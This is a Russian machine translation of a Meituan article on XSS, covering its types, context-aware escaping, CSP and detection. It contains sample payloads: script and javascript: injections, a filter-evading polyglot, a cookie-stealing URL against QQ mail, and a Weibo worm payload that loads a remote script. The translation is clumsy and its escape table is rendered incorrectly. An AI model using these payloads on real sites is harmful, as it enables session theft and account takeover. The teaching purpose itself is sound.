Фронтальная безопасность
С быстрым развитием Интернета информационная безопасность стала одним из приоритетов предприятий, а внешний интерфейс представляет собой базу с высоким уровнем риска, которая вызывает проблемы с безопасностью предприятия. В эпоху мобильного Интернета, в дополнение к традиционным проблемам безопасности, таким как XSS и CSRF, персонал переднего плана часто сталкивается с новыми проблемами безопасности, такими как перехват сети и незаконный вызов гибридных API. Конечно, сам браузер постоянно развивается и развивается, и для повышения безопасности постоянно внедряются новые технологии, такие как CSP и Same-Site Cookies, но по-прежнему существует множество потенциальных угроз, которые требуют от фронтенд-техников постоянной «проверки и заполнения». в промежутках».
В последние годы, с быстрым развитием бизнеса Meituan, внешний интерфейс столкнулся со многими проблемами безопасности, поэтому он накопил большой практический опыт. Мы разобрали распространенные проблемы безопасности внешнего интерфейса и соответствующие решения и создадим серию, надеясь помочь персоналу внешнего интерфейса постоянно предотвращать и устранять уязвимости безопасности в повседневной разработке. Эта статья является первой в серии.
В этой статье мы объясним XSS, в основном в том числе:
- Введение в XSS-атаки
- Классификация XSS-атак
- Предотвращение и обнаружение XSS-атак
- Сводка XSS-атак
- Случай XSS-атаки
Введение в XSS-атаки
Прежде чем начать эту статью, давайте зададим вопрос, пожалуйста, решите, верны ли следующие два утверждения:
- За предотвращение XSS отвечает внутренний RD (персонал, занимающийся исследованиями и разработками).Внутренний RD должен экранировать конфиденциальные символы в интерфейсе, где все пользователи отправляют данные, прежде чем перейти к следующему шагу.
- Все данные, которые должны быть вставлены на страницу, должны быть защищены функцией фильтрации конфиденциальных символов.После фильтрации общих конфиденциальных символов они могут быть вставлены на страницу.
Если вы еще не уверены в ответе, взгляните на эти вопросы, и мы разберем их шаг за шагом.
Возникновение и устранение XSS-уязвимостей
Атака XSS — это внедрение вредоносного кода на страницу.Для более наглядного представления мы используем пример, который произошел с Сяо Мином.
случай
Однажды компании понадобится страница поиска, которая определяет содержание ключевых слов на основе параметров URL. Сяо Мин быстро написал страницу и вышел в интернет. код показывает, как показано ниже:
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
</div>
Однако вскоре после выхода в сеть Сяо Мин получил таинственную ссылку от службы безопасности:
http://xxx/search?keyword="><script>alert('XSS');</script>
Сяо Мин щелкнул ссылку со зловещим предчувствием[Не имитируйте, подтвердите безопасную ссылку, чтобы открыть]. Конечно же, на странице появляется диалоговое окно с надписью «XSS».
Черт, ударь! Сяо Мин нахмурился и открыл тайну:
когда браузер запрашиваетhttp://xxx/search?keyword="><script>alert('XSS');</script>
, сервер разберет параметры запросаkeyword
,получить"><script>alert('XSS');</script>
, склеивается в HTML и возвращается в браузер. Формируется следующий HTML:
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
您搜索的关键词是:"><script>alert('XSS');</script>
</div>
Браузер не может отличить<script>alert('XSS');</script>
является вредоносным кодом, поэтому он выполняется.
Здесь вводится не только содержимое div, но также вводится свойство value ввода, и предупреждение появляется дважды.
Столкнувшись с такой ситуацией, как нам ее предотвратить?
На самом деле просто браузер выполняет ввод пользователя как скрипт. Затем просто сообщите браузеру, что это текст.
Умный Сяо Мин быстро нашел решение и устранил эту уязвимость:
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
</div>
escapeHTML()
Побег следующим образом:
персонаж | сбежавший персонаж |
---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' |
/ |
/ |
После обработки escape-функции окончательный ответ, полученный браузером, будет таким:
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
您搜索的关键词是:"><script>alert('XSS');</script>
</div>
Вредоносный код экранируется и больше не выполняется браузером, а поисковый запрос может идеально отображаться на странице.
Благодаря этому инциденту Сяо Мин узнал следующее:
- Обычно содержимое пользовательского ввода, содержащееся на странице, отображается в виде текста в фиксированном контейнере или атрибуте.
- Злоумышленники используют фрагменты пользовательского ввода этих страниц для сращивания строк в специальных форматах, преодолевая ограничения исходного местоположения и формируя фрагменты кода.
- Злоумышленники создают потенциальные риски, внедряя сценарии на целевой веб-сайт для запуска в браузере пользователя.
- Экранирование HTML позволяет предотвратить атаки XSS.[Конечно, все не так просто! пожалуйста, посмотрите следующую часть].
Помните о специальных атрибутах HTML, JavaScript API
После последнего инцидента Сяо Мин тщательно избегает данных, вставленных на страницу. Он также обнаружил, что большинство шаблонов поставляются с конфигурацией экранирования, которая делает все данные, вставленные на страницу, экранированными по умолчанию. Таким образом, можно не опасаться случайного пропуска неэкранированных переменных, поэтому работа Сяо Мина постепенно становится проще.
Однако, как режиссер, Сяо Мин не может так легко и радостно изменить Бага.
Вскоре Сяо Мин получил загадочную ссылку от группы безопасности:http://xxx/?redirect_to=javascript:alert('XSS')
. Сяо Мин не посмел проявить небрежность и быстро открыл страницу. Однако на странице автоматически не появилось злобное «XSS».
Сяо Мин открыл исходный код соответствующей страницы и обнаружил следующее:
<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>
Этот код, когда URL-адрес атакиhttp://xxx/?redirect_to=javascript:alert('XSS')
, ответ сервера становится таким:
<a href="javascript:alert('XSS')">跳转...</a>
Хотя код не будет выполняться немедленно, как только пользователь нажметa
вкладку, в браузере появится всплывающее окно «XSS».
Блин, опять проиграл...
Здесь пользовательские данные не выходят за пределы нашего ограничения с точки зрения местоположения и по-прежнему являются правильным атрибутом href. Но его содержание не того типа, которого мы ожидали.
Оказывается не только специальные символы, дажеjavascript:
Такие строки также могут вызывать XSS-атаки, если они появляются в определенных позициях.
Сяо Мин нахмурился и подумал о решении:
// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
<a href="<%= escapeHTML(getParameter("redirect_to"))%>">
跳转...
</a>
} else {
<a href="/404">
跳转...
</a>
}
если начало URL неjavascript:
, это безопасно?
Группа безопасности бросила еще одно соединение наугад:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
Это тоже работает? ... ну, браузеры настолько сильны.
Сяо Мин хочет плакать, но у него нет слез, и он оценивает, является ли начало URLjavascript:
, сначала преобразуйте пользовательский ввод в нижний регистр, а затем сравните.
Однако так называемое «Дао высотой в один фут, дьявол высотой в один фут». Перед лицом стратегии защиты Сяо Мина группа безопасности установила такую связь:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS')
После разбора URL становитсяjavascript:alert('XSS')
, строка начинается с пробела. Таким образом, злоумышленник может обойти правила ключевых слов серверной части и успешно завершить инъекцию.
В конце концов, Сяо Мин выбрал метод белого списка, чтобы полностью устранить эту уязвимость:
// 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];
valid = isValid(getParameter("redirect_to"), allowSchemes);
if (valid) {
<a href="<%= escapeHTML(getParameter("redirect_to"))%>">
跳转...
</a>
} else {
<a href="/404">
跳转...
</a>
}
Благодаря этому инциденту Сяо Мин узнал следующее:
- Выполнение экранирования HTML не означает, что нужно сидеть сложа руки и расслабляться.
- Для прыжков по ссылке, как
<a href="xxx"
илиlocation.href="xxx"
, проверять его содержание, запрещать использованиеjavascript:
открытие ссылок и другие незаконные схемы.
Примите различные правила экранирования в зависимости от контекста
Однажды, чтобы ускорить загрузку веб-страниц, Сяо Мин встроил часть данных в HTML через JSON:
<script>
var initData = <%= data.toJSON() %>
</script>
Нельзя использовать там, где вставлен JSONescapeHTML()
, потому что побег"
, формат JSON будет нарушен.
Но группа безопасности нашла еще одну лазейку, и оказалось, что такое встраивание JSON тоже небезопасно:
- Когда JSON содержит
U+2028
илиU+2029
Эти два символа нельзя использовать в качестве литералов JavaScript, иначе будет выдана синтаксическая ошибка. - Когда JSON содержит строки
</script>
, текущий тег скрипта будет закрыт, а следующее строковое содержимое будет проанализировано браузером в соответствии с HTML; путем добавления следующего<script>
Теги и другие методы могут завершить инъекцию.
Поэтому мы должны реализовать еще одинescapeEmbedJSON()
Функция для выхода из встроенного JSON.
Правила побега следующие:
персонаж | сбежавший персонаж |
---|---|
U+2028 |
\u2028 |
U+2029 |
\u2029 |
< |
\u003c |
Исправленный код выглядит следующим образом:
<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>
Благодаря этому инциденту Сяо Мин узнал следующее:
- Экранирование HTML очень сложно, и в разных ситуациях используются разные правила экранирования. Если используются неправильные правила экранирования, это, скорее всего, похоронит скрытые опасности XSS.
- Вам следует стараться избегать написания собственной библиотеки escape-побегов, и вам следует использовать зрелую общеотраслевую библиотеку escape-побегов.
Сводка уязвимостей
Пример Сяомина закончен, давайте систематически рассмотрим методы внедрения XSS:
- Вредоносный контент внедряется в виде тегов сценария в текст, встроенный в HTML.
- Во встроенном JavaScript объединенные данные нарушают исходные ограничения (строки, переменные, имена методов и т. д.).
- В атрибутах тегов вредоносный контент содержит кавычки, чтобы обойти ограничения значений атрибутов и внедрить другие атрибуты или теги.
- В href, src и другие атрибуты тега включите
javascript:
и т.д. исполняемый код. - В событиях onload, onerror, onclick и т. д. внедрить неконтролируемый код.
- В атрибуте стиля и теге включите что-то вроде
background-image:url("javascript:...");
кода (новые версии браузеров уже могут помешать). - В атрибуте стиля и теге включите что-то вроде
expression(...)
Код выражения CSS (более новые версии браузеров уже могут это предотвратить).
Короче говоря, если разработчик должным образом не отфильтрует текст, введенный пользователем, он будет необдуманно вставлен в HTML, что может легко привести к уязвимостям внедрения. Злоумышленники могут использовать уязвимости для создания инструкций вредоносного кода, а затем использовать вредоносный код для нарушения безопасности данных.
Классификация XSS-атак
Благодаря приведенным выше примерам у нас уже есть некоторое представление о XSS.
Что такое XSS
Межсайтовый скриптинг (сокращенно XSS) — это атака путем внедрения кода. Злоумышленники внедряют вредоносные скрипты на целевой веб-сайт для запуска в браузере пользователя. Используя эти вредоносные скрипты, злоумышленники могут получить конфиденциальную информацию о пользователе, такую как Cookie, SessionID и т. д., тем самым ставя под угрозу безопасность данных.
Чтобы отличить его от CSS, первая буква атаки изменена на X, поэтому она называется XSS.
Суть XSS в том, что вредоносный код не фильтруется и смешивается с обычным кодом сайта, браузер не может отличить, какие скрипты заслуживают доверия, в результате чего выполняются вредоносные скрипты.
А поскольку он выполняется непосредственно на терминале пользователя, вредоносный код может напрямую получить информацию о пользователе или использовать эту информацию, чтобы выдать себя за пользователя и инициировать заданный злоумышленником запрос к веб-сайту.
В некоторых случаях внедренный вредоносный скрипт относительно короткий из-за ограничений ввода. Однако более сложные стратегии атаки могут быть реализованы путем введения внешних сценариев и их выполнения браузерами.
Вот вопрос: каким способом пользователь "внедрил" вредоносный скрипт?
Не только бизнес-контент пользователя UGC может быть внедрен, но и параметры URL-адреса могут быть источником атаки. При обработке ввода нельзя доверять ни одному из следующего:
- Информация о пользовательском контенте от пользователей
- Ссылки от третьих лиц
- URL-параметры
- POST-параметры
- Реферер (возможно, из ненадежного источника)
- Файлы cookie (возможно, введенные с других поддоменов)
XSS-классификация
По источнику атаки XSS-атаки можно разделить на три типа: тип хранилища, тип отражения и тип DOM.
|тип|сохранить*|точка вставки*| |-|-| |Сохраненный XSS|Внутренняя база данных|HTML| |Отраженный XSS|URL|HTML| |DOM XSS|Внутренняя база данных/Внешнее хранилище/URL|Внешний JavaScript|
- Область хранения: место, где хранится вредоносный код.
- Точка вставки: кто получает вредоносный код и вставляет его на веб-страницу.
Сохраненный XSS
Сохраненные шаги атаки XSS:
- Злоумышленники отправляют вредоносный код в базу данных целевого веб-сайта.
- Когда пользователь открывает целевой веб-сайт, сервер веб-сайта извлекает вредоносный код из базы данных, встраивает его в HTML и возвращает браузеру.
- После получения ответа браузер пользователя разбирает и выполняет его, а также выполняется подмешанный в него вредоносный код.
- Вредоносный код крадет пользовательские данные и отправляет их на сайт злоумышленника или имитирует поведение пользователя и вызывает интерфейс целевого веб-сайта для выполнения операции, указанной злоумышленником.
Этот тип атаки распространен в функциях веб-сайта с сохраненными пользователем данными, такими как сообщения на форуме, обзоры продуктов, личные сообщения пользователей и т. д.
Отраженный XSS
Этапы атаки отраженного XSS:
- Злоумышленники создают специальные URL-адреса, содержащие вредоносный код.
- Когда пользователь открывает URL-адрес с вредоносным кодом, сервер веб-сайта извлекает вредоносный код из URL-адреса, объединяет его в HTML и возвращает браузеру.
- После получения ответа браузер пользователя разбирает и выполняет его, а также выполняется подмешанный в него вредоносный код.
- Вредоносный код крадет пользовательские данные и отправляет их на сайт злоумышленника или имитирует поведение пользователя и вызывает интерфейс целевого веб-сайта для выполнения операции, указанной злоумышленником.
Разница между отраженным XSS и сохраненным XSS заключается в том, что вредоносный код сохраненного XSS хранится в базе данных, а вредоносный код отраженного XSS хранится в URL-адресе.
Отраженные XSS-уязвимости распространены в функциях, которые передают параметры через URL-адреса, такие как поиск по веб-сайту, перенаправления и т. д.
Поскольку пользователям необходимо активно открывать вредоносные URL-адреса, чтобы они вступили в силу, злоумышленники часто комбинируют различные средства, чтобы побудить пользователей щелкнуть мышью.
Содержимое POST также может инициировать отраженный XSS, но условия его срабатывания относительно жесткие (должна быть создана страница отправки формы, и пользователь должен щелкнуть ее), поэтому это происходит очень редко.
XSS типа DOM
Этапы атаки XSS типа DOM:
- Злоумышленники создают специальные URL-адреса, содержащие вредоносный код.
- Пользователь открывает URL с вредоносным кодом.
- После получения ответа браузер пользователя анализирует и выполняет его, а интерфейсный JavaScript извлекает вредоносный код из URL-адреса и выполняет его.
- Вредоносный код крадет пользовательские данные и отправляет их на сайт злоумышленника или имитирует поведение пользователя и вызывает интерфейс целевого веб-сайта для выполнения операции, указанной злоумышленником.
Разница между XSS типа DOM и первыми двумя типами XSS: в атаках XSS типа DOM извлечение и выполнение вредоносного кода осуществляется браузером, что является уязвимостью безопасности самого интерфейса JavaScript, в то время как два других типа XSS являются уязвимостями безопасности на стороне сервера.
Предотвращение XSS-атак
Как видно из предыдущего введения, XSS-атаки имеют два основных элемента:
- Злоумышленники отправляют вредоносный код.
- Браузер выполняет вредоносный код.
Для первого элемента: можем ли мы отфильтровать вредоносный код, введенный пользователем в процессе пользовательского ввода?
входная фильтрация
Когда пользователь отправляет, ввод фильтруется интерфейсом, а затем отправляется на сервер. Возможно ли это сделать?
Ответ неосуществим. Как только злоумышленник обходит интерфейсную фильтрацию и напрямую формирует запрос, вредоносный код может быть отправлен.
Затем измените время фильтрации: серверная часть фильтрует ввод перед записью в базу данных, а затем возвращает «безопасный» контент во внешний интерфейс. Это возможно?
Возьмем пример, обычный пользователь вводит5 < 7
Этот контент перед записью в базу данных экранируется и становится5 < 7
.
Проблема в том, что на этапе фиксации мы не уверены, куда будет выводиться контент.
«Не уверен, куда выводить содержимое» здесь имеет два значения:
- Пользовательский ввод может предоставляться как внешнему интерфейсу, так и клиенту, и однажды
escapeHTML()
, содержимое, отображаемое клиентом, становится искаженным (5 < 7
). - Во внешнем интерфейсе требуемая кодировка различна для разных мест.
-
когда
5 < 7
При использовании в качестве страницы сплайсинга HTML она может отображаться нормально:<div title="comment">5 < 7</div>
-
когда
5 < 7
При возврате через Ajax и последующем назначении переменной в JavaScript строка, полученная внешним интерфейсом, является экранированным символом. Этот контент нельзя напрямую использовать для отображения шаблонов, таких как Vue, и его нельзя напрямую использовать для расчета длины контента. Нельзя использовать для заголовков, предупреждений и т. д.
Таким образом, фильтрация на стороне ввода может в некоторых случаях решить определенные проблемы XSS, но она внесет много неопределенностей и проблем с искажениями. Таких методов следует избегать при защите от XSS-атак.
Конечно, для определенных типов ввода, таких как числа, URL-адреса, номера телефонов, адреса электронной почты и т. д., фильтрация ввода по-прежнему необходима.
Поскольку входная фильтрация не является полностью надежной, нам необходимо предотвратить XSS, «предотвратив выполнение браузером вредоносного кода». Эта часть делится на две категории:
- Предотвращение внедрения в HTML.
- Предотвратите выполнение вредоносного кода при выполнении JavaScript.
Предотвратить сохраненные и отраженные XSS-атаки
Как сохраненные, так и отраженные XSS вставляются в ответный HTML-код после извлечения вредоносного кода с сервера.Преднамеренно написанные злоумышленником «данные» встраиваются в «код» и выполняются браузером.
Существует два общепринятых метода предотвращения этих двух типов уязвимостей:
- Перейдите на чисто внешний рендеринг, чтобы разделить код и данные.
- Полностью избежать HTML.
Чистый интерфейсный рендеринг
Процесс чистого внешнего рендеринга:
- Сначала браузер загружает статический HTML-код, не содержащий никаких бизнес-данных.
- Затем браузер выполняет JavaScript в HTML.
- JavaScript загружает бизнес-данные через Ajax и вызывает API DOM для их обновления на странице.
В чистом интерфейсном рендеринге мы явно сообщаем браузеру: содержимое, которое будет установлено ниже, — это текст (.innerText
), или свойства (.setAttribute
), или стиль (.style
)и т.д. Браузеры не так-то просто заставить выполнять неожиданный код.
Тем не менее, чистый внешний рендеринг также требует внимания, чтобы избежать XSS-уязвимостей типа DOM (таких какonload
события иhref
серединаjavascript:xxx
и т. д., см. раздел «Предотвращение XSS-атак типа DOM» ниже).
Во многих внутренних системах и системах управления очень подходит чистый интерфейсный рендеринг. Но для страниц с высокими требованиями к производительности или SEO нам все еще приходится сталкиваться с проблемой сплайсинга HTML.
Экранировать HTML
Если необходимо сращивание HTML, необходимо использовать подходящую библиотеку escape, чтобы адекватно избежать точек вставки в шаблоне HTML.
Обычно используемые механизмы шаблонов, такие как doT.js, ejs, FreeMarker и т. д., обычно имеют только одно правило для экранирования HTML:& < > " ' /
Экранирование этих символов действительно может сыграть определенную роль в защите от XSS, но это не идеально:
XSS-уязвимость безопасности | Защищает ли простой побег? |
---|---|
Текстовое содержимое тега HTML | имеют |
Значение атрибута HTML | имеют |
Встроенные стили CSS | никто |
Встроенный JavaScript | никто |
Встроенный JSON | никто |
Перейти по ссылке | никто |
Следовательно, чтобы улучшить меры защиты от XSS, нам нужно использовать более полную и подробную стратегию экранирования.
Например, в проекте Java обычно используется escape-библиотека.org.owasp.encoder
. На следующий код ссылаетсяОфициальное описание org.owasp.encoder.
<!-- HTML 标签内文字内容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>
<!-- HTML 标签属性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />
<!-- CSS 属性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">
<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
<!-- JavaScript 内联代码块 -->
<script>
var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
alert(msg);
</script>
<!-- JavaScript 内联代码块内嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>
<!-- HTML 标签内联监听器 -->
<button
onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
click me
</button>
<!-- URL 参数 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
<!-- URL 路径 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
<!--
URL.
注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
-->
<a href='<%=
urlValidator.isValid(UNTRUSTED) ?
Encode.forHtml(UNTRUSTED) :
"/404"
%>'>
link
</a>
Видно, что кодировка HTML очень сложна, и соответствующие правила выхода должны использоваться в разных контекстах.
Предотвращение XSS-атак типа DOM
XSS-атаки типа DOM на самом деле представляют собой код JavaScript на внешнем интерфейсе веб-сайта, который не является достаточно строгим и выполняет ненадежные данные как код.
в настоящее время использует.innerHTML
,.outerHTML
,document.write()
Будьте особенно осторожны, чтобы не вставлять ненадежные данные на страницу в виде HTML, а вместо этого используйте.textContent
,.setAttribute()
Ждать.
Если вы используете стек Vue/React и не используетеv-html
/dangerouslySetInnerHTML
функция, просто избегайте ее на этапе внешнего рендерингаinnerHTML
,outerHTML
Скрытые опасности XSS.
Встроенные прослушиватели событий в DOM, такие какlocation
,onclick
,onerror
,onload
,onmouseover
Ждать,<a>
помеченhref
свойства, JavaScripteval()
,setTimeout()
,setInterval()
и т. д., может запускать строки как код. Если ненадежные данные объединяются в строки и передаются этим API, это может легко создать угрозу безопасности, поэтому обязательно избегайте их.
<!-- 内联事件监听器中包含恶意代码 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>
<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// location 调用恶意代码
location.href = 'UNTRUSTED'
// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>
Обязательно избегайте объединения ненадежных данных в строки, если вы используете их в своем проекте.
Дополнительные меры предотвращения XSS
Хотя XSS можно предотвратить путем осторожного экранирования при рендеринге страниц и выполнении JavaScript, все же недостаточно полагаться исключительно на заботу разработчиков. Ниже представлены некоторые общие решения для снижения рисков и последствий XSS.
Content Security Policy
Строгий CSP может играть следующие роли в предотвращении XSS:
- Запрещено загружать сторонний код для предотвращения сложной логики атаки.
- Отправка на внешний домен запрещена, после атаки на сайт данные пользователя не попадут на внешний домен.
- Выполнение встроенного скрипта запрещено (правила более строгие и в настоящее время используются GitHub).
- Отключить несанкционированное выполнение скрипта (новая функция, используемая в Google Maps для мобильных устройств).
- Разумное использование отчета может вовремя обнаружить XSS, что способствует скорейшему устранению проблемы.
Дополнительные сведения о CSP см. в последующих статьях серии по безопасности переднего плана.
Контроль длины входного содержимого
Любой ненадежный ввод должен быть ограничен разумной длиной. Хотя XSS нельзя полностью предотвратить, он может усложнить XSS-атаки.
другие меры безопасности
- Куки-файл только для HTTP: JavaScript запрещено читать некоторые конфиденциальные куки-файлы, и злоумышленники не могут украсть этот куки-файл после внедрения XSS.
- Captcha: не позволяет сценариям выдавать себя за пользователей и выполнять опасные действия.
Обнаружение XSS
Вышеупомянутый опыт многое дал Сяомину: он также научился предотвращать и устранять XSS-уязвимости, а также хорошо осведомлен о безопасности в повседневной разработке. Но для кода, который уже есть в сети, как определить, есть ли в нем XSS-уязвимость?
После некоторых поисков Сяо Мин нашел два метода:
- Вручную обнаруживайте уязвимости XSS, используя общие строки атаки XSS.
- Используйте инструменты сканирования для автоматического обнаружения уязвимостей XSS.
существуетUnleashing an Ultimate XSS PolyglotВ статье Сяо Мин нашел такую строку:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Он обнаруживает уязвимости XSS в различных контекстах, таких как атрибуты HTML, текстовое содержимое HTML, комментарии HTML, ссылки перехода, встроенные строки JavaScript, встроенные таблицы стилей CSS и т. д.eval()
,setTimeout()
,setInterval()
,Function()
,innerHTML
,document.write()
и другие уязвимости XSS типа DOM, а также может обходить некоторые фильтры XSS.
Сяомин может выполнять обнаружение, если он отправляет эту строку в каждое поле ввода на веб-сайте или вставляет ее в параметры URL.
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
Помимо ручного обнаружения, для поиска уязвимостей XSS также можно использовать инструменты автоматического сканирования, такие какArachni,Mozilla HTTP Observatory,w3afЖдать.
Сводка XSS-атак
Вернемся к вопросу, поставленному в начале, я думаю, у студентов уже есть ответ:
- За предотвращение XSS отвечает внутренний RD, который должен экранировать конфиденциальные символы на всех интерфейсах, где пользователи отправляют данные, прежде чем переходить к следующему шагу.
Неправильно. так как:
- Защита от сохраненных и отраженных XSS является обязанностью внутреннего RD. Однако XSS-атаки типа DOM не происходят на серверной части, и за них отвечает внешний удаленный доступ. Предотвращение XSS — это систематический проект, требующий совместного участия серверного и клиентского RD.
- Экранирование должно происходить при выводе HTML, а не при отправке пользовательского ввода.
- Все данные, которые должны быть вставлены на страницу, должны быть защищены функцией фильтрации конфиденциальных символов.После фильтрации общих конфиденциальных символов они могут быть вставлены на страницу.
Неправильно. Различные контексты, такие как атрибуты HTML, текстовое содержимое HTML, комментарии HTML, ссылки для перехода, встроенные строки JavaScript, встроенные таблицы стилей CSS и т. д., требуют противоречивых правил экранирования. Business RD необходимо выбрать подходящую библиотеку побега и вызвать разные правила побега для разных контекстов.
Общая защита от XSS очень сложна и громоздка, нам нужно не только экранировать данные соответственно во всех позициях, которые нужно экранировать. И чтобы предотвратить избыточное и неправильное экранирование, чтобы избежать искаженных символов при обычном вводе пользователем.
Хотя полностью избежать XSS с помощью технических средств сложно, мы можем обобщить следующие принципы, чтобы уменьшить возникновение уязвимостей:
-
Используйте механизм шаблоновВключите функцию экранирования HTML, которая поставляется с механизмом шаблонов. Например:
В ejs попробуйте использовать
<%= data %>
вместо<%- data %>
; В doT.js попробуйте использовать{{! data }
вместо{{= data }
; В FreeMarker убедитесь, что версия движка выше 2.3.24 и выбрана правильнаяfreemarker.core.OutputFormat
. -
Избегайте встроенных событийпопробуй не использовать
onLoad="onload('{{data}}')"
,onClick="go('{{action}}')"
Это встроенное событие сплайсинга записывается. передать в JavaScript.addEventlistener()
Привязка событий была бы безопаснее. -
Избегайте сплайсинга HTMLФронтендовый метод сплайсинга HTML более опасен, если фреймворк это позволяет, используйте
createElement
,setAttribute
такие методы, как . Или используйте более зрелую среду рендеринга, такую как Vue/React и т. д. - быть бдительным во все временаКогда позиция вставки является атрибутом DOM, ссылкой и т. д., вы должны быть начеку и принимать строгие меры предосторожности.
- Увеличьте сложность атаки и уменьшите последствия атакиБлагодаря таким методам, как CSP, настройка длины ввода и меры безопасности интерфейса, сложность атаки увеличивается, а последствия атаки уменьшаются.
- Упреждающее обнаружение и обнаружениеПотенциальные уязвимости XSS можно найти с помощью строк атаки XSS и инструментов автоматического сканирования.
Случай XSS-атаки
Почтовый ящик QQm.exmail.qq.comОтраженная XSS-уязвимость доменного имени
злоумышленник найденhttp://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb
параметры для этого URLuin
,domain
Вывод непосредственно в HTML без экранирования.
Затем злоумышленник создает URL-адрес и указывает пользователю щелкнуть:http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
Когда пользователь щелкает этот URL-адрес, сервер извлекает параметры URL-адреса и вставляет их в ответ HTML:
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
После того, как браузер получит ответ, он выполнитalert(document.cookie)
, злоумышленник может украсть файл cookie текущего пользователя под доменным именем почтового ящика QQ через JavaScript, тем самым ставя под угрозу безопасность данных.
Зал славы Sina Weibo отразил XSS-уязвимость
злоумышленник найденhttp://weibo.com/pub/star/g/xyyyd
Содержимое этого URL-адреса выводится непосредственно в HTML без фильтрации.
Таким образом, злоумышленник создает URL-адрес и побуждает пользователя щелкнуть мышью:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
Когда пользователь щелкает этот URL-адрес, сервер извлекает URL-адрес запроса и вставляет его в ответ HTML:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>
После того, как браузер получит ответ, он загрузит и выполнит вредоносный скрипт.//xxxx.cn/image/t.js
, во вредоносном сценарии статус входа пользователя используется для подписки, отправки микроблогов и отправки личных сообщений.Отправляемые микроблоги и личные сообщения могут сопровождаться URL-адресом атаки, который побуждает больше людей щелкать и постоянно расширяет масштаб атаки. Этот метод кражи личности жертвы для публикации вредоносного контента и расширения масштабов атаки слой за слоем называется «XSS-червь».
Расширенное чтение: Автоматическое экранирование с учетом контекста
Выше мы сказали:
- Надлежащее экранирование HTML может эффективно избежать уязвимостей XSS.
- Полная библиотека escape требует нескольких правил для контекста, таких как атрибуты HTML, текстовое содержимое HTML, комментарии HTML, ссылки перехода, встроенные строки JavaScript, встроенные таблицы стилей CSS и многое другое.
- Бизнес-RD должен выбирать разные правила выхода в соответствии с контекстом каждой точки вставки.
Обычно escape-библиотека не может оценить контекст точки вставки (не контекстно-зависимая), а ответственность за реализацию правил escape ложится на бизнес-RD.Каждый бизнес-RD должен полностью понимать различные ситуации XSS и должен убедитесь, что каждая точка вставки использует правильные правила экранирования.
Этот механизм имеет большую нагрузку и опирается на ручные гарантии, легко вызвать XSS-уязвимости, а сотрудникам службы безопасности сложно найти скрытые опасности.
В 2009 году Google придумал концепцию под названием:Automatic Context-Aware Escaping.
Так называемый Context-Aware означает, что когда механизм шаблонов анализирует строку шаблона, он анализирует синтаксис шаблона, анализирует контекст, в котором находится каждая точка вставки, и автоматически выбирает соответствующие правила выхода. Таким образом, рабочая нагрузка бизнес-RD снижается, а также сокращаются упущения, вызванные человеческими факторами.
В обработчике шаблонов, который поддерживает автоматическое экранирование с учетом контекста, бизнес-RD могут определять шаблоны, подобные этому, без ручной реализации правил экранирования:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title}}</title>
</head>
<body>
<a href="{{.url}}">{{.content}}</a>
</body>
</html>
После синтаксического анализа механизм шаблонов знает контекст трех точек вставки и автоматически выбирает соответствующие правила перехода:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title | htmlescaper}}</title>
</head>
<body>
<a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
</body>
</html>
